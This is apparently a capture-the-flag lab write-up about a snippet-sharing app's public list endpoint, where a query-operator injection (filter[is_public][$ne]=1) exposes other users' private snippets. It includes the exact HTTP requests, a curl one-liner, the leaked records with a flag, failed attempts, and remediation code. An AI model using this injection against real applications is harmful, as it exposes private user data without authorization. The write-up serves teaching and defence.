BugForge — 2026.07.19

CopyPasta: Query-Operator Injection Bypasses a Public-Only Visibility Guard

BugForge Query-Operator Injection Authorization Bypass easy

Executive Summary

CopyPasta is a snippet-sharing application backed by a Node.js/Express JSON API. Its public snippet list endpoint enforces a server-side visibility guard (is_public=1) and also accepts a filter object supplied by the client in query-string bracket notation. Supplying a query operator on the guard field itself, filter[is_public][$ne]=1, neutralizes that visibility constraint, so an ordinary authenticated request returns private snippets belonging to other users, including an administrator’s private infrastructure runbook.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 Query-operator injection neutralizes the is_public visibility guard High * 6.5 CWE-639, CWE-943 GET /api/snippets/public

* The High label reflects mass cross-user disclosure of all users’ private data, including administrator secrets. The raw CVSS v3.1 math with PR:L (a valid low-privilege account is required) is 6.5, which falls in the Medium band; the label is escalated on impact. If self-registration is open on the platform, PR:N raises the vector to 7.5 (High), which lands the number cleanly in the High band.

The finding is a single-request read that crosses a data-ownership boundary: our low-privilege account (id 5, haxor) reads private snippets owned by admin (id 1) and pythonista (id 3). The administrator’s disclosed record contains an internal runbook describing production database credential rotation and bastion access, and the private records carry a flag key confirming the boundary was crossed.


Objective

Read past the endpoint’s public-only snippet guardrail and capture the flag delivered on the private records.


Scope / Initial Access

# Target Application
URL: https://lab-1784420019701-kgkh7z.labs-app.bugforge.io

# Auth details
Bearer JWT (HS256), provided: {"id":5,"username":"haxor"}
Low-privilege account. No elevated role is needed for the finding.

The provided token is accepted on the API. The finding requires only a valid bearer token, not any specific role or ownership relationship to the disclosed data.


Reconnaissance: Mapping the public list endpoint and its filter surface

The endpoint documents itself. Snippet id 8 is a docs entry describing the filter parameter (filter[language]=python, filter[title]=...) and stating that the endpoint “only ever lists snippets that are marked public.” A no-filter baseline read established the normal response shape before any injection was attempted.

Facts that shaped the test plan:

  1. GET /api/snippets/public accepts a filter object in query-string bracket notation (filter[field]=value), documented in snippet id 8 for narrowing the list by stored fields.
  2. The baseline (no filter) returns 7 snippets, ids {1,2,3,5,6,7,8}, all with is_public=1. Ids 4 and 9 are absent from the public set.
  3. The endpoint’s own documentation states it lists only public snippets, so a visibility guard is applied on the server independent of the client filter.
  4. The operator form filter[field][$op]=value is honored at the query layer ($ne confirmed), which is what made an operator on the guard field worth testing.

Application Architecture

Component Detail
Backend Node.js / Express JSON API
Auth Bearer JWT (HS256)
Data model Snippet store: id, user_id, title, code, language, is_public, share_code (UUID), like/comment counts
Query filter filter parameter parsed into nested objects via query-string bracket notation; operator form filter[field][$ne]=v is honored at the query layer
Database Not determined (no source access)

API Surface

Endpoint Method Auth Notes
/api/snippets/public GET Bearer JWT Lists is_public=1 snippets; accepts filter[...] params

Known Users (observed in responses)

Username ID Role
haxor 5 Our account (low-privilege)
admin 1 Administrator (owns private “infra runbook”)
pythonista 3 User (owns private “Password Generator”)
coder123 2 User
webdev 4 User

Attack Chain Visualization

┌────────────────────┐     ┌────────────────────┐     ┌────────────────────┐     ┌────────────────────┐
│ Authenticated GET  │     │ Inject operator on │     │ Guard neutralized: │     │ Cross-user private │
│ /snippets/public   │ ──▶ │ the guard field:   │ ──▶ │ is_public=0 rows   │ ──▶ │ data disclosed +   │
│ 7 public rows      │     │ filter[is_public]  │     │ now returned       │     │ flag in extra key  │
│ (ids 4,9 withheld) │     │ [$ne]=1            │     │ (ids 4, 9)         │     │ (admin runbook)    │
└────────────────────┘     └────────────────────┘     └────────────────────┘     └────────────────────┘

Findings

F1: Query-operator injection neutralizes the is_public visibility guard

Severity: High (label escalated above the 6.5 PR:L math on mass cross-user disclosure of administrator data; PR:N if self-registration is open yields 7.5. See the Executive Summary footnote.) CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) CWE: CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-943 (Improper Neutralization of Special Elements in Data Query Logic) Endpoint: GET /api/snippets/public Authentication required: Yes (any valid low-privilege bearer JWT)

Description

The public snippet list endpoint applies a server-side visibility guard (is_public=1) and also accepts a filter object supplied by the caller in query-string bracket notation (filter[field]=value, filter[field][$op]=value). Supplying the operator form filter[is_public][$ne]=1 causes the response to include records with is_public=0, meaning the visibility guard no longer excludes private snippets. Because the client controls a filter operator acting on the same field the guard uses, the server-enforced constraint is neutralized from an ordinary authenticated request.

The exact query builder was not observed (no source access). Notably, plain-value override (filter[is_public]=0) and filter[id][$gt]=0 both returned nothing, while only the $ne operator form defeated the guard, so the behavior is not a simple object spread-merge. The root cause is stated at the request/response level only: the $ne operator on the guard field reaches the query layer and the visibility constraint is not enforced independently of the client filter.

Impact

Any authenticated user can read private snippets belonging to other users, including an administrator’s private infrastructure runbook.

Reproduction

Step 1: Baseline read (establish the public set)

GET /api/snippets/public HTTP/2
Host: lab-1784420019701-kgkh7z.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Response: 200, 7 snippets (ids 1,2,3,5,6,7,8), all is_public=1. No flag key is present. Ids 4 and 9 are absent.

Step 2: Inject the operator on the guard field

GET /api/snippets/public?filter[is_public][$ne]=1 HTTP/2
Host: lab-1784420019701-kgkh7z.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Response: 200, 9 snippets. Two additional records are now present, both owned by principals other than our account (id 5, haxor):

  • id 9, user_id 1 (admin), is_public=0, title “infra runbook (private)”
  • id 4, user_id 3 (pythonista), is_public=0, title “Password Generator”

The two captures differ in content length (4127 vs 5330) and ETag, confirming distinct responses.

Step 3: Extract the flag

Each disclosed private record carries a flag key absent from the baseline response, and the administrator record’s code field holds the internal runbook:

{
  "id": 9,
  "user_id": 1,
  "title": "infra runbook (private)",
  "code": "# CopyPasta infrastructure ... Steps for rotating the production database\n# credentials, on-call access, and the staging bastion host. Kept private\n# to the admin account.",
  "is_public": 0,
  "username": "admin",
  "flag": "bug{WijzsZT3PClby4W4fDyq9hV08rF08hVj}"
}

Equivalent one-liner:

curl -sk -G "$BASE/api/snippets/public" \
  --data-urlencode 'filter[is_public][$ne]=1' \
  -H "Authorization: Bearer $JWT"

Flag: bug{WijzsZT3PClby4W4fDyq9hV08rF08hVj}

Remediation

Fix 1: Enforce the visibility guard independent of the client filter, and allow-list filterable fields

The is_public=1 constraint must be applied on the server in a way the request filter cannot override, and the client filter object should be validated against an allow-list of filterable fields that excludes is_public and any other authorization-relevant column.

// BEFORE (Vulnerable): illustrative; exact query builder not observed.
// The client filter is translated through an operator map and applied to the
// query alongside the guard, so an operator on the guard field (is_public)
// reaches the query and neutralizes the intended visibility constraint.
// (Simplified: the observed endpoint ignored a plain filter[is_public]=0 and
// honored only the filter[is_public][$ne]=1 operator form, so the real builder
// is narrower than a plain object spread. The fix below holds either way.)
app.get('/api/snippets/public', auth, async (req, res) => {
  const where = applyOperatorFilter({ is_public: 1 }, req.query.filter); // operator on is_public wins
  const rows = await db.snippets.find(where);
  res.json(rows);
});

// AFTER (Secure)
const FILTERABLE = new Set(['language', 'title', 'search']);

app.get('/api/snippets/public', auth, async (req, res) => {
  const raw = req.query.filter || {};
  const filter = {};
  for (const key of Object.keys(raw)) {
    if (FILTERABLE.has(key)) filter[key] = sanitizeValue(raw[key]); // plain values only
  }
  // Visibility guard applied last, outside the object the client controls, so it
  // cannot be overridden or dropped by any supplied key or operator.
  const rows = await db.snippets.find({ ...filter, is_public: 1 });
  res.json(rows);
});

Additional recommendations:

  • Reject or ignore $-prefixed operator keys on fields that are not explicitly meant to accept operators, and never on authorization-relevant columns (is_public, user_id, deleted).
  • Apply the same allow-list and fixed-guard pattern to any other list endpoints that accept a filter object. The write-side sink and the per-snippet share_code direct-fetch path were not tested and may share the pattern.
  • Do not attach authorization-relevant values to records returned to the client; the flag key rode along on the disclosed private rows.

OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: the server-side visibility guard is bypassable via a filter operator the client controls, letting any authenticated user read other users’ private records.
  • A03:2021 Injection: the operator form filter[is_public][$ne]=1 injects a query operator that alters the intended query semantics.

Tools Used

Tool Purpose
curl Issuing the baseline and operator-injection requests
jq / grep Inspecting JSON responses and diffing the baseline against the bypass capture

References


Failed Approaches

Approach Result Why It Failed
Select private rows by id: filter[id][$in]=4,9 [] (empty) The is_public=1 guard is combined with the filter; a private id cannot satisfy is_public=1
Request a known-public id: filter[id]=8 [] (empty) Plain-value equality on id was not honored on this endpoint
Plain-value guard override: filter[is_public]=0 [] (empty) The plain-value form did not override the guard; only the $ne operator form did
Numeric operator on id: filter[id][$gt]=0 [] (empty) The $gt form was not honored here, unlike $ne

Tags: #broken-access-control #authorization-bypass #query-operator-injection #idor #bugforge #webapp Document Version: 1.0 Last Updated: 2026-07-19

#broken-access-control #authorization-bypass #query-operator-injection #idor #bugforge